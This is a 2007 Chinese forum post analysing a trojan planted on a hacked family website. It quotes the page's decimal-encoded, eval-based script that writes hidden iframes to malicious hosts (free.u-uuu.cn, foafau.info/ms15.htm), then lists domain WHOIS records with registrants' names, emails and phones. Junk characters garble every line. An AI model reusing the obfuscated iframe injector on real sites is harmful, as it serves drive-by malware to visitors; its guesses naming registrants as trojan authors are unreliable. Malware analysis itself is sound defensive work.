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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, t5%TS:u  
-48`#"xy  
http://www.areway.cn/?p=175 B@d1xjp)']  
?vvG)nW  
M Z2^@It  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: {JXf*IJ  
          Qy/uB$q{A  
<script>t=’60,105,102,114,97,109,101, 'gYg~=  
32,115,114,99,61,104,116,116,112,58,47,47, ># INEO  
102,114,101,101,46,117,45,117,117,117,46,99, AHq M7+r9  
110,47,101,114,114,111,114,46,104,116,109, (9E( Q*J5x  
32,119,105,100,116,104,61,49,48,48,32,104, H*GlWgfG  
101,105,103,104,116,61,48,62,60,47,105,102, JT}.F!q6E  
114,97,109,101,62′; Cc2MYm8  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> rjXnDh]MC  
                                                                                                  >d#3|;RY  
<script>t=’60,105,102,114,97,109,101,32,115, l(#1mY5!q8  
114,99,61,104,116,116,112,58,47,47,102,114, lVP |W:~K  
101,101,46,117,45,117,117,117,46,99,110,47, @`6}`k  
101,114,114,111,114,46,104,116,109,32,119, 0JK2%%  
105,100,116,104,61,49,48,48,32,104,101,105, Zd$JW=KR]l  
103,104,116,61,48,62,60,47,105,102,114,97, ndqckT@93  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 6s5yyy=L%~  
document.write(t);</script> *<7l!#  
                                                                                                  cu)U7  
<html xmlns=” 76_<xUt{  
http://www.w3.org/1999/xhtml qIz}$%!A  
“> 0t+])>  
<head> EsTB(9c?  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> z{=v)F5y  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ;I+H>$%jZ  
<title>首页 - 爱生活家庭网 VNO'="U  
                                                                                                                                                    Ia#"/`||  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 `UQEXoB)  
转换字符串后的大概内容是(谁点击后果自付): YtpRy% R  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… V:OiW"/  
                                                                                                                                  @7%.7LK  
查询玉米u-uuu.cn的详细信息: @`S.@^%7fO  
Domain Name: u-uuu.cn < <sE`>)  
ROID: 20070901s10001s64972306-cn Q(e{~ ]*  
Domain Status: ok 57<Di!rt  
Registrant Organization: 王雷 |kc@L`7s  
Registrant Name: 王雷 ^&NN]?  
Administrative Email: czlovexs@126.com 85D? dgV  
Sponsoring Registrar: 北京万网志成科技有限公司 hl<y4y&|  
Name Server:ns.yovole.com (-(QDRxK  
Name Server:ns1.yovole.com O@wK[(w^  
Registration Date: 2007-09-01 17:54 AuXs B  
Expiration Date: 2008-09-01 17:54 5B?i(2&#  
最后PING了一下地址 都没有什么…. !3V{2-y$-  
                                                                                                *{|$FQnR>(  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ^KbL ,T  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> Bzw19S6y  
<script language=”javascript” src=” NH4?q!'G  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script n]iyFZ`9  
> -?z\5 z  
这个玉米应该有可能是木马作者的: 7]Rk+q2:  
foafau.info的详细信息: ~j"3}wXc5  
Access to INFO WHOIS information is provided to assist persons in Kp&3=e;vn{  
determining the contents of a domain name registration record in the (v^Z BM_  
Afilias registry database. The data in this record is provided by 5gshKmt_  
Afilias Limited for informational purposes only, and Afilias does not Cfv]VQQE  
guarantee its accuracy.  This service is intended only for query-based >vAN(3Idu  
access. You agree that you will use this data only for lawful purposes 3+V#[JBJv  
and that, under no circumstances will you use this data to: (a) allow, yLqF ,pvO  
enable, or otherwise support the transmission by e-mail, telephone, or ZLrHZhP-+  
facsimile of mass unsolicited, commercial advertising or solicitations )i-gs4[(QN  
to entities other than the data recipient’s own existing customers; or *)D1!R<\,R  
(b) enable high volume, automated, electronic processes that send 9go))&`PJL  
queries or data to the systems of Registry Operator, a Registrar, or o(fyd)t  
Afilias except as reasonably necessary to register domain names or l'uOORI  
modify existing registrations. All rights reserved. Afilias reserves `HyF_m>\  
the right to modify these terms at any time. By submitting this query, ^{[[Z.&R?  
you agree to abide by this policy. WFDCPQ@  
Domain ID:D22418703-LRMS NzlAC  
Domain Name:FOAFAU.INFO gr+Pl>C{  
Created On:20-Nov-2007 16:05:42 UTC s[X B#)H4  
Last Updated On:20-Nov-2007 16:05:44 UTC 7n&yv9"  
Expiration Date:20-Nov-2008 16:05:42 UTC oKa>.e7.  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ]0-<>  
Status:CLIENT DELETE PROHIBITED +`}o,z/^  
Status:CLIENT RENEW PROHIBITED T5e^J"   
Status:CLIENT TRANSFER PROHIBITED iRve)   
Status:CLIENT UPDATE PROHIBITED b-%l-u  
Status:TRANSFER PROHIBITED gDC2 >nV  
Registrant ID:GODA-040110615 [K:29N9~4  
Registrant Name:liu hong %/pc=i|+  
Registrant Organization: ArXl=s';s4  
Registrant Street1:beijing S{:Cu}o  
Registrant Street2: >lLo4M 3  
Registrant Street3: !\x?R6K  
Registrant City:beijing WcEt%mGQ,  
Registrant State/Province: P }Te"Y  
Registrant Postal Code:100000 0*yJ %  
Registrant Country:CN doLNz4W  
Registrant Phone:+86.860108888777 [r9d<Zi}{  
Registrant Phone Ext.: |';7v)CIG  
Registrant FAX: G~!C =l  
Registrant FAX Ext.: (0C&z/  
Registrant Email:bbbshiji@163.com 9rcI+q=E  
Admin ID:GODA-240110615 A*i_|]Q  
Admin Name:liu hong J?D\$u:  
Admin Organization: 3U;1D2"AE  
Admin Street1:beijing iN)af5)[^  
Admin Street2: 2f..sNz  
Admin Street3: 6+PGwCS  
Admin City:beijing Le@? /  
Admin State/Province: ] .5O X84  
Admin Postal Code:100000 !^v\^Fc  
Admin Country:CN 6Xa.0(h  
Admin Phone:+86.860108888777 E {>`MNj  
Admin Phone Ext.: i!,HB|wQ  
Admin FAX: lRND  
Admin FAX Ext.: T|bZ9_?+2  
Admin Email:bbbshiji@163.com U ~1 SF  
Billing ID:GODA-340110615 uvv.WbZ  
Billing Name:liu hong TB#N k5  
Billing Organization: 3dm'xe tM  
Billing Street1:beijing KY+]RxX  
Billing Street2: 7zGMkl  
Billing Street3: %h/! Y<%  
Billing City:beijing aU(tu2  
Billing State/Province: a D|Yo  
Billing Postal Code:100000 UH20n{_:  
Billing Country:CN RIjM(P  
Billing Phone:+86.860108888777 m&Sp1=*Ejy  
Billing Phone Ext.: xa#gWIP*  
Billing FAX: :hP58 }Q$  
Billing FAX Ext.: Le&;g4%  
Billing Email:bbbshiji@163.com eP= j.$  
Tech ID:GODA-140110615 v}P!HczmMP  
Tech Name:liu hong NvHN -^2  
Tech Organization: !nzGH*td  
Tech Street1:beijing 7\%$>< K  
Tech Street2: CQ>]jQ,2  
Tech Street3: wd+O5Lr.R  
Tech City:beijing &+- e  
Tech State/Province: ) ,Npv3(  
Tech Postal Code:100000 (\& 62B1  
Tech Country:CN J]\^QMX  
Tech Phone:+86.860108888777 |yv]Y/ =  
Tech Phone Ext.: ]l&'k23~p  
Tech FAX: ,8VXA +'_  
Tech FAX Ext.: CQ18%w6  
Tech Email:bbbshiji@163.com (8x gn  
Name Server:NS27.DOMAINCONTROL.COM {US>)I  
Name Server:NS28.DOMAINCONTROL.COM \Tkp  
Name Server: OjATSmZ@@  
Name Server: J6auUm` `  
Name Server: 4Py3I9  
Name Server: Yxq j -   
Name Server: -'ZxN'*%  
Name Server: #90c$ dc  
Name Server: ccMd/  
Name Server: !NA`g7'  
Name Server: Z s73 ad  
Name Server: ]-Lruq#  
Name Server: Wr#~GFg  
                                                                                                          }4KW@L[g  
接着下载每个文件里面的代码: 5rN7':(H!%  
一步一步看.. PUKVn+h  
?Cc :)  
BA*&N>a  
)Ga8`t"  
DaDUK?  
_yJ|`g]U3  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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